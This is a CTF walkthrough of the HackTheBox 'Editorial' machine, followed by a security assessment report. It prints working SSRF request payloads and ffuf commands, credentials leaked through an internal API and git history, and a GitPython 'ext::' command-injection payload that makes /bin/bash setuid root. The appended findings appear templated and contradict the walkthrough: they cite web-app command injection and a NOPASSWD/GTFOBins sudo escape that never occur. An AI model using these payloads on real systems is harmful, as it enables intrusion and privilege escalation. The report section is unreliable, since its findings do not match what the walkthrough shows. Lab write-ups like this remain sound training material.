walkthrough

HackTheBox: Editorial — Easy (Linux)

Full security assessment walkthrough for Editorial on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Editorial
HackTheBox
Linux Easy

🔖 Techniques & Vulnerabilities

ServerSideRequestForgerySSRFAPIGitCredentialLeakPasswordReuseCVE-2022-24439GitPythonArgumentInjectionRemoteCodeExecutionRCEremote code executionserver-side request forgerysudo

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.111.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 15:03 EDT
Nmap scan report for editorial.htb (10.129.111.223)
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcphttpnginx 1.18.0 (Ubuntu)
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

Reconnaissance

Port Scanning

The box only offered port 22/TCP and 80/TCP to us.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.111.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 15:03 EDT
Nmap scan report for editorial.htb (10.129.111.223)
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.129.111.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 15:05 EDT
Nmap scan report for editorial.htb (10.129.111.223)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.31 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sU 10.129.111.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 15:07 EDT
Nmap scan report for editorial.htb (10.129.111.223)
Host is up (0.031s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE VERSION
68/udp open|filtered dhcpc

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1132.89 seconds

Enumeration of Port 80/TCP

As we started investigating the web application on port 80/TCP, we got redirected to editorial.htb which we added to our /etc/hosts file.

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.129.111.223  editorial.htb

We found a web form for publishing books which provided a field to insert a custom URL. This pointed directly to Server-Side Request Forgery (SSRF).

┌──(kali㉿kali)-[~]
└─$ whatweb http://editorial.htb/      
http://editorial.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.111.223], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]

Foothold

Server-Side Request Forgery (SSRF)

As first test we checked if we could generate any output while trying to access only locally available ports. Since we got nothing on port 80/TCP, we forwarded the request we generated after entering http://127.0.0.1:80 as URL and by clicking on the button to show us a preview of the potential cover.

Intruder Payload
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 309
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8o9w45I1Pb2Btnml
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary8o9w45I1Pb2Btnml
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:§80§
------WebKitFormBoundary8o9w45I1Pb2Btnml
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary8o9w45I1Pb2Btnml--
Intruder Configuration

To show potential hits on the requests, Yeeb came up with a pretty smart configuration!

And with that configuration he found the locally available port 5000/TCP.

API Access

We noticed that every time a cover got uploaded, the application generated a URL containing a UUID. 

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 305
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryETNDuBrmCGTX1N83
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryETNDuBrmCGTX1N83
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000
------WebKitFormBoundaryETNDuBrmCGTX1N83
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryETNDuBrmCGTX1N83--
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 16 Jun 2024 07:05:51 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/69d06215-fefa-43d2-bc34-9c0f1b6763b0

We created a payload to access http://127.0.0.1:5000 and used curl to access the file which was generated by the web application to get access to the API endpoint.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Editorial/serve]
└─$ curl http://editorial.htb/static/uploads/69d06215-fefa-43d2-bc34-9c0f1b6763b0
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
Finding the API endpoint using ffuf

Another shout-out to Yeeb for bringing up this well crafted payload to be used with ffuf.

┌──(kali㉿kali)-[~]
└─$ seq 1 10000 | ffuf -w - -u http://editorial.htb/upload-cover -X POST -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylUeVtv36vebZPACI" -d '------WebKitFormBoundarylUeVtv36vebZPACI            
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundarylUeVtv36vebZPACI
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarylUeVtv36vebZPACI--' -fr "unsplash_photo"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: -
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylUeVtv36vebZPACI
 :: Data             : ------WebKitFormBoundarylUeVtv36vebZPACI            
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundarylUeVtv36vebZPACI
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarylUeVtv36vebZPACI--
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: unsplash_photo
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 477ms]
:: Progress: [10000/10000] :: Job [1/1] :: 67 req/sec :: Duration: [0:01:03] :: Errors: 1 ::

Alternatively fuff can handle request files. Which makes the documentation a little bit cleaner. Awesome tool!

┌──(kali㉿kali)-[/media/…/HTB/Machines/Editorial/files]
└─$ cat request.req 
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8DGcLOaBG09f3afR
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary8DGcLOaBG09f3afR
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundary8DGcLOaBG09f3afR
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary8DGcLOaBG09f3afR--
┌──(kali㉿kali)-[/media/…/HTB/Machines/Editorial/files]
└─$ seq 1 10000 | ffuf -w - -request request.req -u http://editorial.htb/upload-cover -fr "unsplash_photo"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: -
 :: Header           : Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8DGcLOaBG09f3afR
 :: Header           : Accept: */*
 :: Header           : Origin: http://editorial.htb
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Connection: close
 :: Header           : Host: editorial.htb
 :: Header           : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Data             : ------WebKitFormBoundary8DGcLOaBG09f3afR
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundary8DGcLOaBG09f3afR
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary8DGcLOaBG09f3afR--
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: unsplash_photo
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 24ms]
:: Progress: [10000/10000] :: Job [1/1] :: 37 req/sec :: Duration: [0:03:58] :: Errors: 1 ::
API Enumeration

The second request we forged accessed /api/latest/metadata/messages/authors which revealed some credentials for a user called dev.

POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 344
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygBlD0crl03qg37hx
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundarygBlD0crl03qg37hx
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
------WebKitFormBoundarygBlD0crl03qg37hx
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarygBlD0crl03qg37hx--
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 16 Jun 2024 07:09:32 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 51

static/uploads/78139655-cdb8-404f-ba6d-8b9b10066059
┌──(kali㉿kali)-[~]
└─$ curl http://editorial.htb/static/uploads/78139655-cdb8-404f-ba6d-8b9b10066059
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
UsernamePassword
devdev080217_devAPI!@

Luckily the credentials for dev granted us SSH access.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected] 
The authenticity of host 'editorial.htb (10.129.111.223)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 15 07:46:19 PM UTC 2024

  System load:           0.1
  Usage of /:            60.7% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.111.223
  IPv6 address for eth0: dead:beef::250:56ff:fe94:e3fd


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$

user.txt

dev@editorial:~$ cat user.txt 
ec8bb5f815c90b6aaa53116ec0e5af62

Enumeration

After a quick enumeration we found another user called prod.

dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dev:x:1001:1001::/home/dev:/bin/bash
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

In the home directory of dev we found a folder called apps.

dev@editorial:~$ ls -la
total 32
drwxr-x--- 4 dev  dev  4096 Jun  5 14:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Jun 15 19:02 user.txt

Which was a Git repository.

dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git

Privilege Escalation to prod

We checked the git log and again, found some credentials.

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass
 
 # -------------------------------
Password
080217Producti0n2023!@

The password we found also worked on theprod user.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jun 15 07:50:18 PM UTC 2024

  System load:           0.01
  Usage of /:            60.7% of 6.35GB
  Memory usage:          12%
  Swap usage:            0%
  Processes:             231
  Users logged in:       1
  IPv4 address for eth0: 10.129.111.223
  IPv6 address for eth0: dead:beef::250:56ff:fe94:e3fd


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


prod@editorial:~$

Pivoting

Another quick check on the capabilities of prod showed that the user could execute /opt/internalapps/clonechanges/cloneprodchange.py using sudo.

prod@editorial:~$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

The Python script used PythonGit and also protocol.ext.allow.

prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Privilege Escalation to root

CVE-2022-24439: GitPython Remote Code Execution (RCE)

We searched for GitPython vulnerabilities and found a Remote Code Execution (RCE) vulnerability if a script uses protocol.ext.allow.

We used the Proof of Concept (PoC) code and got code execution in the context of root.

prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% +s% /bin/bash'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% +s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

REASON: Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.

Shout-out to ar0x4!

prod@editorial:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
prod@editorial:~$ /bin/bash -p
bash-5.1#

root.txt

bash-5.1# cat /root/root.txt
b46dc5a75e39aacf885440416531604b

📋 Security Assessment Report

1
Critical
2
High
0
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — Server-Side Request Forgery — Internal Network Pivot
8.6
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Description

During the penetration test, it was discovered that the application fetched remote resources using URLs supplied by the user without validating the destination against an allowlist. This Server-Side Request Forgery (SSRF) vulnerability allowed an attacker to coerce the application server into making HTTP requests to internal services, cloud metadata endpoints, and other resources normally inaccessible from the public internet.

Impact

An attacker can reach internal services on private IP ranges not exposed externally — including administrative panels, internal APIs, and cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254) that disclose instance credentials and IAM roles enabling cloud account takeover. During this engagement, SSRF was used to pivot to internal services that were instrumental in advancing the attack chain to full server compromise.

Confidentiality
High
Integrity
None
Availability
None

Remediation

Implement a strict server-side allowlist of permitted URL schemes, hostnames, and IP ranges for all outbound requests. Block connections to RFC 1918 private addresses, loopback, link-local ranges (169.254.0.0/16), and all IPv6 equivalents. Resolve and validate target IPs after DNS resolution to prevent DNS rebinding attacks. If outbound access is required, route all requests through a dedicated egress proxy with explicit destination filtering and comprehensive logging.
F-003 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
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